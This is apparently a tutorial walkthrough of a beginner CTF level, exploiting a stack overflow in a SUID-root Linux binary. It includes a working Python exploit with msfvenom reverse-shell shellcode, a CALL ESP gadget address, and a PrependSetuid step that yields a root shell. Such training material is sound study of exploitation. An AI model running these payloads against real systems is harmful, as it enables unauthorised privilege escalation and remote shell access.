Stack Overflows for Beginners — Level 5

Updated July 25, 2025

Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 5 binary and work on exploiting it to get the next flag — this time, with a twist: we’re going for a root shell! We’ll build on the skills developed in previous levels — identifying overflow points, calculating the EIP offset, controlling execution flow, and injecting shellcode — while introducing privilege escalation techniques.

If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.

This walkthrough is part of my beginner-level training series, Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.

Level 5 Objectives

  • Reuse previously learned techniques (buffer overflow, EIP control, shellcode injection)
  • Spot privilege escalation gaps in SUID binaries
  • Use PrependSetuid=true when the binary lacks explicit setuid(0)
  • Craft payloads to escalate privileges and spawn a root shell

Accessing the Level 4 User

To begin this level, we switch to the level4 user using the password we found in the previous challenge.

(See the Level 4 post for how we found it.)

$ ls -l levelFive 
-rwsr-sr-x 1 root root 15548 Jun  8  2019 levelFive

New levelFive binary is owned by user and group root and is executable. Because of the s in the permission string -rwsr-sr-x, we assume that running this binary will execute it with the privileges of root, not level4.

Disassembling

To begin analyzing the binary, we list all defined functions with info func:

(gdb) info func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  printf@plt
0x00001040  gets@plt
[...]
0x000011a9  overflow
0x000011ff  main
[...]

We focus on the main and overflow functions, located at:

0x000011ff — main
0x000011a9 — overflow

Inspecting main()

(gdb) disass main
Dump of assembler code for function main:
   0x000011ff <+0>:    push   ebp
   0x00001200 <+1>:    mov    ebp, esp
   0x00001202 <+3>:    and    esp, 0xfffffff0
   0x00001205 <+6>:    call   0x121b <__x86.get_pc_thunk.ax>
   0x0000120a <+11>:   add    eax, 0x2df6
   0x0000120f <+16>:   call   0x11a9 <overflow>
   0x00001214 <+21>:   mov    eax, 0x0
   0x00001219 <+26>:   leave
   0x0000121a <+27>:   ret

The main function sets up the stack and calls overflow. No arguments are passed to it.

Inspecting overflow()

(gdb) disass overflow
Dump of assembler code for function overflow:
   0x000011a9 <+0>:    push   ebp
   0x000011aa <+1>:    mov    ebp, esp
   0x000011ac <+3>:    push   ebx
   0x000011ad <+4>:    sub    esp, 0x14
   0x000011b0 <+7>:    call   0x10b0 <__x86.get_pc_thunk.bx>
   0x000011b5 <+12>:   add    ebx, 0x2e4b
   0x000011bb <+18>:   sub    esp, 0x8
   0x000011be <+21>:   lea    eax, [ebx - 0x1ff8]
   0x000011c4 <+27>:   push   eax
   0x000011c5 <+28>:   lea    eax, [ebx - 0x1fe5]
   0x000011cb <+34>:   push   eax
   0x000011cc <+35>:   call   0x1030 <printf@plt>
   0x000011d1 <+40>:   add    esp, 0x10
   0x000011d4 <+43>:   sub    esp, 0xc
   0x000011d7 <+46>:   lea    eax, [ebp - 0xc]
   0x000011da <+49>:   push   eax
   0x000011db <+50>:   call   0x1040 <gets@plt>
   0x000011e0 <+55>:   add    esp, 0x10
   0x000011e3 <+58>:   sub    esp, 0x8
   0x000011e6 <+61>:   lea    eax, [ebp - 0xc]
   0x000011e9 <+64>:   push   eax
   0x000011ea <+65>:   lea    eax, [ebx - 0x1fe2]
   0x000011f0 <+71>:   push   eax
   0x000011f1 <+72>:   call   0x1030 <printf@plt>
   0x000011f6 <+77>:   add    esp, 0x10
   0x000011f9 <+80>:   nop
   0x000011fa <+81>:   mov    ebx, DWORD PTR [ebp - 0x4]
   0x000011fd <+84>:   leave
   0x000011fe <+85>:   ret

The vulnerable call here is gets(), which takes user input into [ebp - 0xc] — without bounds checking. Combined with sub esp, 0x14, this creates a potential for a classic stack buffer overflow, which we’ll explore in the next steps.

Finding the Overflow

The disassembly gives us clues about where user input lands and how much space is available.

The instruction sub esp, 0x14 at the start of the overflow function allocates 20 bytes on the stack for local variables:

0x000011ad <+4>:   sub esp, 0x14

Later, the program prepares a buffer for user input using gets():

0x000011d7 <+46>:  lea eax, [ebp - 0xc]
0x000011da <+49>:  push eax
0x000011db <+50>:  call 0x1040 <gets@plt>

This means gets() writes input into [ebp - 0xc], placing our data inside a 12-byte stack buffer.

To confirm this, we start testing input lengths. Supplying 8 characters works fine:

$ python3 -c "print('A' * 8)" | ./levelFive
Enter your input: Buf: AAAAAAAA

But when we push the input to 12 bytes, it crashes:

$ python3 -c "print('A' * 12)" | ./levelFive
Enter your input: Buf: AAAAAAAAAAAA
Segmentation fault

This confirms that the buffer can hold up to 11 characters safely — the 12th byte starts overwriting adjacent memory. Since gets() lacks boundary checks, it readily writes beyond the allocated 12-byte buffer, leading to a classic stack-based buffer overflow.

Controlling EIP

Finding the Offset

To determine how many bytes are needed to reach EIP, we generate a unique pattern:

$ msf-pattern_create -l 64
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

We run the binary with this pattern as input (GDB):

[...]
Enter your input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A
Buf: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()

Inside GDB, the program crashes with EIP set to 0x61413561. Now we calculate the exact offset:

$ msf-pattern_offset -q 0x61413561
[*] Exact match at offset 16

This tells us that the 17th byte (offset 16) is where EIP begins.

Creating the Exploit Template

from struct import pack

size = 1000
offset = 16 					

shellcode = b"\x90" * 16

buf = b"A" * offset     		# padding up to EIP overwrite
buf += b"B" * 4         		# EIP overwrite
buf += shellcode
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

We generate the payload to confirm:

$ python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

Then we launch the binary inside GDB, feeding input from the payload:

(gdb) set args < payload.bin 
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level4/levelFive < payload.bin 
Enter your input: Buf: AAAAAAAAAAAAAAAABBBB����������������C...[SNIP]...CCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) p/x $eip
$1 = 0x42424242

As expected, the program crashes again — this time with EIP set to our chosen value (0x42424242). We now have reliable control over EIP.

Identifying Bad Characters

For this challenge, we already know that the following characters break shellcode execution:

  • \x00 (null byte)
  • \x0a (newline)

You can refer to the Stack Overflows for Beginners — Level 4 for step-by-step reproduction if you want to test the input manually using GDB and pattern buffers.

Redirecting Execution to Shellcode

To redirect execution flow to our shellcode, we make use of a previously discovered CALL ESP gadget located at:

0xf7f5be9b

This gadget will transfer control to the top of the stack, where our shellcode resides.

For full details on how to locate this gadget , refer to the Stack Overflows for Beginners — Level 4.

Command Execution

We generate a reverse shell payload using msfvenom, ensuring it avoids bad characters \x00 and \x0a:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x0a" -v shellcode -f py

Then, updating our PoC with above information:

from struct import pack

size = 1000
offset = 16 					
# bads: \x00\x0a
shellcode = b"\x90" * 12 
shellcode += b"\xdd\xc1\xd9\x74\x24\xf4\x5a\xb8\x66\xc6\xa2\x8b"
shellcode += b"\x31\xc9\xb1\x12\x31\x42\x17\x83\xc2\x04\x03\x24"
shellcode += b"\xd5\x40\x7e\x99\x02\x73\x62\x8a\xf7\x2f\x0f\x2e"
shellcode += b"\x71\x2e\x7f\x48\x4c\x31\x13\xcd\xfe\x0d\xd9\x6d"
shellcode += b"\xb7\x08\x18\x05\x37\xeb\xda\xd4\xaf\xe9\xda\xc7"
shellcode += b"\x74\x67\x3b\x57\xec\x27\xed\xc4\x42\xc4\x84\x0b"
shellcode += b"\x69\x4b\xc4\xa3\x1c\x63\x9a\x5b\x89\x54\x73\xf9"
shellcode += b"\x20\x22\x68\xaf\xe1\xbd\x8e\xff\x0d\x73\xd0"

buf = b"A" * offset     	# padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b)    # EIP overwrite [libc-2.28.so]
buf += shellcode
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Generate the payload and start listener:

$ python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

$ nc -nvlp 4443
listening on [any] 4443 ...

Trigger the exploit:

$ ./levelFive < payload.bin

And the reverse shell connects back successfully:

$ nc -nvlp 4443
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56224
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)
whoami
level4
cd /root
/bin/sh: 3: cd: can't cd to /root
cat /root/root.txt
cat: /root/root.txt: Permission denied

While we successfully gained a shell, it runs as the level4 user — not root. This is because the binary, although marked as SUID-root, does not drop us into a root context after exploitation. We’ll investigate and confirm the reason in the next section.

Escalating Privileges

While analyzing the main and overflow functions earlier, we noticed that the binary does not contain any calls to common privilege escalation functions such as:

setuid(0);
setreuid(0, 0);
setresuid(0, 0, 0);

Even though the binary is marked as SUID-root, it does not explicitly switch the effective UID to 0 (root). As a result, our reverse shell runs with the real UID (level4) instead of elevated privileges.

To overcome this limitation, we can instruct msfvenom to prepend shellcode that sets the UID to 0. This is achieved by adding the PrependSetuid=true option during payload generation:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x0a" PrependSetuid=true -v shellcode -f py

Getting a Root Shell

Update your PoC script with the new shellcode and trigger the exploit again. This time, the reverse shell will run with root privileges:

$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56230
id
uid=0(root) gid=1004(level4) groups=1004(level4)
cd /root
ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  root.txt
cat /root/root.txt
[REDACTED]

You can also use the obtained flag as the root password:

$ su root 
Password: 
root@kali:/home/level0# cd /root
root@kali:~# ls
Desktop  Documents  Downloads  Music  Pictures  Public  root.txt  Templates  Videos

We have successfully completed the Stack Overflows for Beginners journey from the Linux Usermode Exploitation 101 series.

I hope you enjoyed this walkthrough and picked up useful exploitation skills. Feel free to revisit this material anytime, and continue the course for more advanced topics.